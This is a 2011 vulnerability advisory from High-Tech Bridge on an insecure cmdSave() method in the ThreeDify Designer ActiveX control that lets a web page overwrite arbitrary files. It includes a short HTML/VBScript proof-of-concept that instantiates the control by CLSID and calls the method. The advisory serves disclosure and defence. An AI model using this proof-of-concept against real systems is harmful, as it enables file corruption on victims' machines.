ThreeDify Designer ActiveX control Insecure Method Aug 03 2011 04:40PM
advisory htbridge ch
Vulnerability ID: HTB23021
Reference: http://www.htbridge.ch/advisory/threedify_designer_activex_control_insec
Product: ThreeDify Designer
Vendor: ThreeDify ( http://www.threedify.com )
Vulnerable Version: 5.0.2 and probably prior
Tested on: 5.0.2
Vendor Notification: 07 June 2011
Vulnerability Type: Insecure Method
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in ThreeDify Designer ActiveX control, which can be exploited to overwrite arbitrary files.

The vulnerability is caused due to the ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control including the insecure "cmdSave()" method.
This can be exploited to corrupt arbitrary files in the context of the currently logged-on user.

The following PoC code is available:

<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
target.cmdSave arg1
End Sub


Solution: Upgrade to the most recent version

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